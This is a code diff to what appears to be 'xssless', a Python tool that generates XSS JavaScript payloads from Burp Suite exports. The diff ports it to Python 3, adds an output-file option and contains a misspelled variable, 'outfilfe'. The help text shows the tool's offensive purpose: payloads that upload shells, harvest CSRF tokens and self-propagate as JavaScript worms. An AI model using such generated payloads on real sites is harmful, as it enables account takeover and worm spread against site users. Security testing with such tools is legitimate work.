@@ -45,7 +45,7 @@ def payload_encode_input(filecontents):
45
45
46
46
# Get a list of headers for request/response
47
47
def parse_request (input_var , url ):
48
-
48
+
49
49
# Set flags for later interpretation (ie, POST is actually JSON data, etc)
50
50
flags = []
51
51
@@ -98,7 +98,7 @@ def parse_request(input_var, url):
98
98
# If the form is multipart the rules change, set values accordingly and pass it one
99
99
if postisupload :
100
100
postpartsList = body_data .split (fileboundary )
101
-
101
+
102
102
# FF adds a bunch of '-' characters, so we'll filter out anything without a Content-Disposition in it
103
103
for key , value in enumerate (postpartsList ):
104
104
if 'Content-Disposition' not in value :
@@ -138,7 +138,7 @@ def parse_request(input_var, url):
138
138
bodyList .append (bodyDict )
139
139
except ValueError :
140
140
pass
141
-
141
+
142
142
# Returned dict, chocked full of useful information formatted nicely for your convienience!
143
143
returnDict = {}
144
144
returnDict ['method' ] = rtypeList [0 ] # Method being used (POST, GET, PUT, DELETE, HEAD)
@@ -249,7 +249,7 @@ def xss_gen(requestList, settingsDict):
249
249
http.setRequestHeader('Content-length', body.length);
250
250
http.setRequestHeader('Connection', 'close');
251
251
http.sendAsBinary(body);
252
-
252
+
253
253
}
254
254
"""
255
255
@@ -354,7 +354,6 @@ def xss_gen(requestList, settingsDict):
354
354
elif requestDict ['method' ].lower () == "head" :
355
355
head_flag = True
356
356
payload += " doRequest('" + requestDict ['path' ] + "', 'HEAD', '');\n "
357
- pass
358
357
359
358
payload += " }\n "
360
359
payload += "\n "
@@ -363,7 +362,7 @@ def xss_gen(requestList, settingsDict):
363
362
364
363
# Now add only the needed code for this particular payload
365
364
func_code = ""
366
-
365
+
367
366
if settingsDict ['opt' ]:
368
367
if mpost_flag :
369
368
func_code += mpost_js
@@ -399,18 +398,21 @@ def xss_gen(requestList, settingsDict):
399
398
-p=PARSEFILE Parse list - input file containing a list of CSRF token names to be automatically parsed and set.
400
399
-f=FILELIST File list - input list of POST name/filenames to use in payload. ex: 'upload_filename,~/Desktop/shell.bin'
401
400
-m=METALIST Self propagation list - input list of POST names for POSTing the XSS payload itself (for JavaScript worms)
401
+ -o=OUTFILE Write payload to file rather than stdout
402
402
-s Don't display the xssless logo
403
403
-n Turn off payload optimization
404
404
405
405
"""
406
- if __name__ == '__main__' :
406
+ def main () :
407
407
if len (sys .argv ) < 2 :
408
- print logo
409
- print helpmenu
408
+ print ( logo )
409
+ print ( helpmenu )
410
410
else :
411
411
# settingsDict will contain code generation settings, such as waiting for each request to complete, etc.
412
412
settingsDict = {}
413
413
settingsDict ['opt' ] = True
414
+
415
+ outfile = None
414
416
415
417
showlogo = False if "-s" in sys .argv [1 :] else True # quick check for this first incase they hate logos
416
418
@@ -419,58 +421,65 @@ def xss_gen(requestList, settingsDict):
419
421
continue
420
422
if option == "-h" :
421
423
if showlogo :
422
- print logo
423
- print helpmenu
424
+ print ( logo )
425
+ print ( helpmenu )
424
426
sys .exit (0 )
425
427
if "-m=" in option :
426
428
metafile = option .replace ("-m=" , "" )
427
429
if os .path .isfile (metafile ):
428
- tmpList = open (metafile ).readlines ()
430
+ with open (metafile , 'r' ) as f :
431
+ tmpList = f .readlines ()
429
432
for key ,value in enumerate (tmpList ):
430
433
tmpList [key ] = value .replace ("\n " , "" )
431
434
if len (tmpList ):
432
435
settingsDict ['metaList' ] = tmpList
433
436
else :
434
- print "Error, meta list not found!"
437
+ print ("Error, meta list not found!" )
438
+ sys .exit (1 )
435
439
if "-p=" in option :
436
440
parsefile = option .replace ("-p=" , "" )
437
441
if os .path .isfile (parsefile ):
438
- tmpList = open (parsefile ).readlines ()
439
- for key ,value in enumerate (tmpList ):
440
- tmpList [key ] = value .replace ("\n " , "" )
441
- if len (tmpList ):
442
- settingsDict ['parseList' ] = tmpList
442
+ with open (parsefile , 'r' ) as f :
443
+ tmpList = f .readlines ()
444
+ for key ,value in enumerate (tmpList ):
445
+ tmpList [key ] = value .replace ("\n " , "" )
446
+ if len (tmpList ):
447
+ settingsDict ['parseList' ] = tmpList
443
448
else :
444
- print "Error, parse list not found!"
449
+ print ("Error, parse list not found!" )
450
+ sys .exit (1 )
445
451
if "-n" in option :
446
452
settingsDict ['opt' ] = False
453
+ if "-o=" in option :
454
+ outfile = option .replace ("-o=" , "" )
447
455
if "-f=" in option :
448
456
fileuploadlist = option .replace ("-f=" , "" )
449
457
if os .path .isfile (fileuploadlist ):
450
458
tmpDict = {}
451
- fileuploadlinesList = open (fileuploadlist ).readlines ()
459
+ with open (fileuploadlist , 'r' ) as f :
460
+ fileuploadlinesList = f .readlines ()
452
461
for key , value in enumerate (fileuploadlinesList ):
453
462
rowparts = value .replace ("\n " , "" ).split ("," , 1 )
454
463
if len (rowparts ) == 2 :
455
464
if os .path .isfile (rowparts [1 ]):
456
465
tmpDict [rowparts [0 ]] = rowparts [1 ]
457
466
else :
458
- print "File '" + rowparts [1 ] + "' not found!"
467
+ print ( "File '" + rowparts [1 ] + "' not found!" )
459
468
sys .exit (1 )
460
469
else :
461
- print "Error while parsing file " + fileuploadlist + " on line #" + str (key )
462
- print " ->'" + value .replace ("\n " , "" ) + "'"
470
+ print ( "Error while parsing file " + fileuploadlist + " on line #" + str (key ) )
471
+ print ( " ->'" + value .replace ("\n " , "" ) + "'" )
463
472
sys .exit (1 )
464
473
if tmpDict :
465
474
settingsDict ['fileDict' ] = tmpDict
466
475
else :
467
- print "Input filelist not found!"
476
+ print ( "Input filelist not found!" )
468
477
sys .exit (1 )
469
478
else :
470
- print "Option " + option + " not recognized."
479
+ print ( "Option ' " + option + "' not recognized." )
471
480
if showlogo :
472
- print logo
473
- print helpmenu
481
+ print ( logo )
482
+ print ( helpmenu )
474
483
sys .exit (1 )
475
484
476
485
if os .path .exists (sys .argv [- 1 ]):
@@ -479,11 +488,23 @@ def xss_gen(requestList, settingsDict):
479
488
inputfile = ""
480
489
481
490
if showlogo :
482
- print logo
491
+ print ( logo )
483
492
484
493
if inputfile :
485
494
requestList = get_burp_list (inputfile )
486
- print xss_gen (requestList , settingsDict )
495
+ payload = xss_gen (requestList , settingsDict )
496
+ if outfile :
497
+ try :
498
+ with open (outfile , 'w' ) as f :
499
+ f .write (payload )
500
+ except :
501
+ print ("Couldn't open file '" + outfilfe + "' for writing." )
502
+ sys .exit (1 )
503
+ else :
504
+ print (payload )
487
505
else :
488
- print "Error while processing Burp export, please ensure the file exists!"
506
+ print ( "Error while processing Burp export, please ensure the file exists!" )
489
507
sys .exit (1 )
508
+
509
+ if __name__ == '__main__' :
510
+ main ()
0 commit comments